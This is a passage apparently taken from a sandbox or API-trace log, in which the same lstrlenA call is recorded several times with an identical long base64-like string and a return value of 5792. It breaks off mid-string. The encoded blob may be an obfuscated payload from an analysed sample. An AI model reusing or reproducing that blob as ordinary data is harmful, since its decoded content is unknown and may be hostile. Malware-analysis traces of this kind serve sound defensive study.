W3AXdi4fUXggvR4qbYkTnkqSV32SdvxwxWElUeBGqz5yW1DqNHfWbWEakopU3AbiRWPlQUdjlLaysZdGvuCI+XfMTxiPl7AIeLBU6E/oWvaak0lbdBH9cPTcU4Thm0916qA8mGXFko7nW2fOpEmMMQW8OW+VhbpJzWLm8585vUdu38mfQOWegxFsv4L9Cn67U3RuHrohmy5+H6fkWSVe8J/8OGBsLqY2gzj/a5Ckdn2FT3rvScJOmH2MAqLYyPGJwyva1Et8eAzAaz4GrUYzHcopeEiO+eJE6A/4424n5siwkQm0NymXfg+wpkJCcMhn05nQqtQFEiTsfguOYhUhJsVF0Y+aBXZvOWR0JyH9+ld7RnxjKO4f4O2whzCrEG3haLztz+H89Gr4EW9xzKWGuB1k+ob/5USKEicZwClLJ/GtM3spnEe8BXZF+4lTaZ8sEdM347MisMUzhicRggsVF07UCrlqVysHPLwl1h7l8eKDuFH+8EKbNXVUBiz8t9ATawqtaHnfLYSrknFNenkeDIFNU7+NRTHSFoQ0PgpWyXtD84+TbmQG5x9y6oqQ05FzKkAsBsD8DmxzQ37JIz12Qyoof4bOSDakeYSvb9qnUm12RNDLElgWkGGjACIrz5WsnowEBXoIaUEaRSb5HJ3dq4X+X6lYhdc+yIIT19K6j8K2SUTnp+jE0jolPA7k1j7MWkMGw4djJq0t1O10PLYxpkc0Vgwi7wQnJTaF9ujcPLOJhzOSSvTIdlRLpqKkRvA6+dhv7LI76ih9HJPqw8YuyvNKlGZoAZ1w3z7Fz2jCtLaff8SEFgGWFP2d/iabUp0mmEoK1UqlEe+AEeTDndSwPdvccQ4efcQkZC+onMnNmNpzt625/Vqe1TDaz4EsndpkheTM5jCVXL4wxZ9dk08GtEf+3zgu2kWh2W4dClq0P1skX6e6A8/SaKrnIkBtiL1LSbvOnQYhoTJtyuZYldNKts0RTwvkMvz8o4ZrVUQxZloQTxNYY0XhP1qtOeQy6vpPrQVp8OTCw6inOnUFMH1YR/l+GEaMxqf/Hv7IDBdfvozGMeacN2ZQYBxscjUA+WnGS6S879SOnF38AU54s/Xq5ew85QKqqoygwy0NCopSgmiKQX+YzuwLNNjCzQiYUooIKFMJXN+0h4yCltnNqBM5nLCbD1rty/PGe5rcqTHi+wx40bI4FY6+hbD4hzBK0Bdu0Vl5U08kosa/TQpX5KkSws/1xv3risuRmmejnI7nvoOZFDtpdW3c1yZef14h09G3fG/TtBFRY25jqXGHttZGyhnaZ717KrA7en2FaxEEJKNQUfn9rzG2oJLoIg08JPBCRWgJxLV4uqlV8bnagNHrEYVeZqqwneAjzQmCY+kmq32kTwJDAhLsoHLTpcbJBSJjNLHitgsPxG6/VZXxXnPjf4HPCwbFi7lJbJyLJ0TUyA5qrFq7inDPuW6u/E0nAjaIW0EQHQHOwLHfeOEzbBMrCmbsSr7qXUyWOen9l11DPiANUFT+us8hDCiObQzBxlH144cCJ0AgDg+JNpC39FPz3ulSWZL0lkSwuCXShs4IynIGLQ9uwjdai596keA1uoJd0/9rVj3UQ7RO9H95nEc1T/vKoBpv1Ma7M5LrpMsBpZsc5r9O6LpFPV7Qm4pj0NBQ6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0042.889] lstrlenA (lpString="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") returned 5792 [0042.889] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KV4pggJ526RyX2fBTUah1d17kQB1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIv/xN1EmbWvd3bDcjzcF+UTBaQd40Dm/1EKhBRtcOvqVz2IGXlxPSL8VopZi+3YuV4zFhiTF7+JRlfjRfYt3PyhoMD6/4HPWkALX56Y8YFeqras6EdmeyPN1KrtYvSlfD2o/z5N6AszxUaoWuNKsq1jFHxmrh/lWJOhNGqeCmeV6GFDHanKMacrpq7D+br3K2v7I2HndjVTaepOXVPzQjNpleafUuvZ1KIZpJeTHVoAtZLpThtgdFLerpL5BCAc6JJ+5aK6CRQ1pDOia4gAJkJCqUiG0oS8u6Hl2KgrmCTT4igU96Kxhz27vTMyzRTTQ59RTnEJT1off2I0RpYu2VvLDFsk5XxC/4ZcUHvkVrc/fR1poftQK9N4U+Wng94T4ww/aHa2jmPS6iPl/XRdaLDUIOcD+GT7Ti4i865/R54tukuJeZJX5wTdPFQcOCs3iWH6Wf+/tG9VsJ6llp/0FegWB7+mY6CQ8osZ6vEmKxl+t1JJW8hBRQcWoQnRJUoxCfdLJCGAwZw1ILyazzKXM380XgHn0Mu0vZIJpaISqd9C4s+Gb6qXioKJmb7o4ZyZn7utlOaX4aPtIX5ehq6uPr26vDhJ8E8l1Xwk86ZYRIbpfMqxySTAxNTcSKr/WflTh7lF/1ijCgtZ2vhp4zFgrHFL+ipkJ/rNmoOoVXfMpr1SUtpGfJDGQ/RGf7pku0mJQV6+VC8CEKo9iO2EcJ0y6OdoTGUD2zvM3lNh77UWLeGARUrOV5/tSLh8FgcruOtz8tdlNzbcEPhF+5snJs+/ey9sOqIdiI20SpxE/WnmmZ6SCVgDkxAI7YKP+cNcjAFOaxFJO/uaFtMVH7letwAWEj2Z/BXtgVI165tON581w8EMGiyGm9LJ16TwjbjNNyMsizVjI78/CN5Y8NUHKnxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZKh9EW33mrV4I9z81PA1iNhZPiL3WKt5YMYzxMuXhn4Xyofk7C/38fGm9kj+D5nkTjvGf1yfYa76MJZR6fuVGY8IYgy3Dn8GeVQqG4HvJ/d/dgZK+aGNDP3q10pzpYTOkU59meCZZcnGB+PIMA4026RTp6t0YcsT0oLWvlT4a3DS6gR+q4FCHocueJMTsUJz/Q69mGRLzklNkWTWuDdsysrBS5PqpzpCtA6k9m7s3Mn1imiLVPPL6jXrYTaXyyrrgCvWCI5Ay+HZWOybes+9OtPgGxp2t214mRmBIxo1ZD+IOwHdSeE8M2PtQxm+YA35KNZc6IcB36XCrKRnFupDMlhkyxFzCiRQX4oBAKxHLQTMShJqYT02sxOVwFXLvT80AVtI8xyF0GwKqvG8odW5I+F+2Vm5ayOGeDfVRBXROrUla0xRwOlu9wCFKQeLay5RgqdO4ItAS85zc5xcgDxPRqDzS4lhUJH1SmtUoj5NnZ5ZLr06nwtJjsn5HtW4jTpHbMcAxlKtQ7uls+0kcCcNBttbXcbZP4DRK9iiaMxorjzFFOPM/fxoVUikD+LmmMCBOdQOeyu3aRyXnUiQoIS3tfN134/4W32alC9XzYkw7Npqy6iztlsm43kZcn3App/oVVMdZ8p2yiunPBs92CBZ5TBEBJQche6SktzaTUxmb0H3cxEtmgwjMivaqDfNXndDm+4y8S3idZUqXJNC6ANr4Pe5pImNCvUZS7pvx0ZQ4d+XTX3ES0NdL5biavhaxzlS7unKpTe6paNCZQrYPIrTUQWUqU0yQ+pRovASiRIKwtHhpZtjJMnoTQH7BxEEpa/ugEmH7IAnNBo4CVcNsu+GLdAwzqGIX9f0ztqCrohS/epqNqf2Ek/dc/HigF55t6EGZKiEqrSqIkLaxmH3c1ZbdOZWD/WbOz+YlfroDXNkKHyWXt8Qyn/GzblpRdEhAmpfIuegPD383OCZwVLr2Z2H4+VXt09OT+XDda7lxXKrZfUSpODcxVCL8f0ZPhr2qxpb8FfbN53bWmS8ZV3s3b8l/qHwh2kgk0X8MYUmN6Dx/CJMJ6EiNka7K/lg/RjUgs5IU4+RhSSksnNw6Naahl+XG4QI+OzeLOMePoKSu6jeapm9UVOGaUY+5W988JCEE83K5+Plj/Wcbucxck21LbUofIE0ZbOyoVGrYkkKYRwBpHuCSBpt96UpEybVAjOVe6qtoq0lHvKpNS14gpi1ZZn7c8Y73kV5QWrt7v1XQa1JzAC6tfnjCX8/y/CJK2lAA3dHRvzmus2VNyKLamtBSY6NY4QPwsmVgKRdlaEvwoggJj7i/2/DauQXwTEJnvc6Yj9HlTy24F0O7kjjnIraPlZwV6EX8NovA4o0fLAhbjKSmW++83N+5HizMDMS8sw36ddYzD4Fcy5hScS9qlQu01B9oXHwJaov5vsxA0oaQynEQYRtMA60Qn78YXaSdLR2j4yoHcrM4C1l9Oi4H8xkzaqMsM1LKXNEDoWqSgcdw7F3JFuqjBs9JSYixT0E1pXMCORfJyeQpAR+UGBAkd0YQh5LyFc9FIQwDgHH2RmiSupfZ0njoPzDOVzwEWrYyGrZ5VD3QlUqvPGcueIH6SbD7nBv6ZkzlAm4RdDaaC+FTQ+ADM/bI2Wh2TnhyQtt0IHu/GO0ppSAhkghYQSwVa4nmC0N4wDujoHhGKdWTnBi+NYoZha8aygv1CJlyB9/n8zstQSC5VAlOHB7yAwE+92bxGpiBWrnV7L6qgI0fC4AW3F6VU5LKawh62JMlPGkNgBAbFUJcGn1gQ97cuGCfpamnHIW65tzfHja3gbKyH07oZYaSNBDfQJWMyX7UEFQgg3B2n5jmqTkoF25KBxvTjf5sOsU0ZojgHCwPjulO+6uJ8fcJ29RQch/mV5d3HbEcmWSNebso3hPHwIz6t9HBgy+/NIbkfavf64pDyRVXlMGMvJPwVjj/WdSNTK0M10SB5k50lprI6uxQ0c5XY7aYVIdDrUm58HYc+4zNaJe6O8FrHkriNRA/LCNL0jvdbsHTa84XqvLLV/jEbAmNoci3EADcKOTgAxmVTwO7mpKA7uTsPuDaE35XKVmFmHfENmXVlhd+Ge3wg6Qm9VYUznEMq8/xXCgLMzRtCH5Njb/ezFIqQB0CwrwxLenuFrjtYLRzsZ++uf6UAGsO4KG+rFRoyRCG626T6r4NKiZOPa6hZpdfIqaLumqMAEmWXMfldFnz82QfkMAo2y/RhPz+5Z6DdnETzdC+bGf3Yo9OmN19TqpOBGq7UFYpXT+bwy7YlQvUHUdWQv0Ye+VMtNh3NVwaPnFe3mBuUtA0seOua8jHYDd/mA0iGyW5uNUAK8BubDhSAaBFvKS/swCQLulGWiqgIt/pBOUYiK/wKs1Br/pydAHwGr2YMzAurYR/9u7b/9YYmPpfvSyp/W3AXdi4fUXggvR4qbYkTnkqSV32SdvxwxWElUeBGqz5yW1DqNHfWbWEakopU3AbiRWPlQUdjlLaysZdGvuCI+XfMTxiPl7AIeLBU6E/oWvaak0lbdBH9cPTcU4Thm0916qA8mGXFko7nW2fOpEmMMQW8OW+VhbpJzWLm8585vUdu38mfQOWegxFsv4L9Cn67U3RuHrohmy5+H6fkWSVe8J/8OGBsLqY2gzj/a5Ckdn2FT3rvScJOmH2MAqLYyPGJwyva1Et8eAzAaz4GrUYzHcopeEiO+eJE6A/4424n5siwkQm0NymXfg+wpkJCcMhn05nQqtQFEiTsfguOYhUhJsVF0Y+aBXZvOWR0JyH9+ld7RnxjKO4f4O2whzCrEG3haLztz+H89Gr4EW9xzKWGuB1k+ob/5USKEicZwClLJ/GtM3spnEe8BXZF+4lTaZ8sEdM347MisMUzhicRggsVF07UCrlqVysHPLwl1h7l8eKDuFH+8EKbNXVUBiz8t9ATawqtaHnfLYSrknFNenkeDIFNU7+NRTHSFoQ0PgpWyXtD84+TbmQG5x9y6oqQ05FzKkAsBsD8DmxzQ37JIz12Qyoof4bOSDakeYSvb9qnUm12RNDLElgWkGGjACIrz5WsnowEBXoIaUEaRSb5HJ3dq4X+X6lYhdc+yIIT19K6j8K2SUTnp+jE0jolPA7k1j7MWkMGw4djJq0t1O10PLYxpkc0Vgwi7wQnJTaF9ujcPLOJhzOSSvTIdlRLpqKkRvA6+dhv7LI76ih9HJPqw8YuyvNKlGZoAZ1w3z7Fz2jCtLaff8SEFgGWFP2d/iabUp0mmEoK1UqlEe+AEeTDndSwPdvccQ4efcQkZC+onMnNmNpzt625/Vqe1TDaz4EsndpkheTM5jCVXL4wxZ9dk08GtEf+3zgu2kWh2W4dClq0P1skX6e6A8/SaKrnIkBtiL1LSbvOnQYhoTJtyuZYldNKts0RTwvkMvz8o4ZrVUQxZloQTxNYY0XhP1qtOeQy6vpPrQVp8OTCw6inOnUFMH1YR/l+GEaMxqf/Hv7IDBdfvozGMeacN2ZQYBxscjUA+WnGS6S879SOnF38AU54s/Xq5ew85QKqqoygwy0NCopSgmiKQX+YzuwLNNjCzQiYUooIKFMJXN+0h4yCltnNqBM5nLCbD1rty/PGe5rcqTHi+wx40bI4FY6+hbD4hzBK0Bdu0Vl5U08kosa/TQpX5KkSws/1xv3risuRmmejnI7nvoOZFDtpdW3c1yZef14h09G3fG/TtBFRY25jqXGHttZGyhnaZ717KrA7en2FaxEEJKNQUfn9rzG2oJLoIg08JPBCRWgJxLV4uqlV8bnagNHrEYVeZqqwneAjzQmCY+kmq32kTwJDAhLsoHLTpcbJBSJjNLHitgsPxG6/VZXxXnPjf4HPCwbFi7lJbJyLJ0TUyA5qrFq7inDPuW6u/E0nAjaIW0EQHQHOwLHfeOEzbBMrCmbsSr7qXUyWOen9l11DPiANUFT+us8hDCiObQzBxlH144cCJ0AgDg+JNpC39FPz3ulSWZL0lkSwuCXShs4IynIGLQ9uwjdai596keA1uoJd0/9rVj3UQ7RO9H95nEc1T/vKoBpv1Ma7M5LrpMsBpZsc5r9O6LpFPV7Qm4pj0NBQ6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0042.889] lstrlenA (lpString="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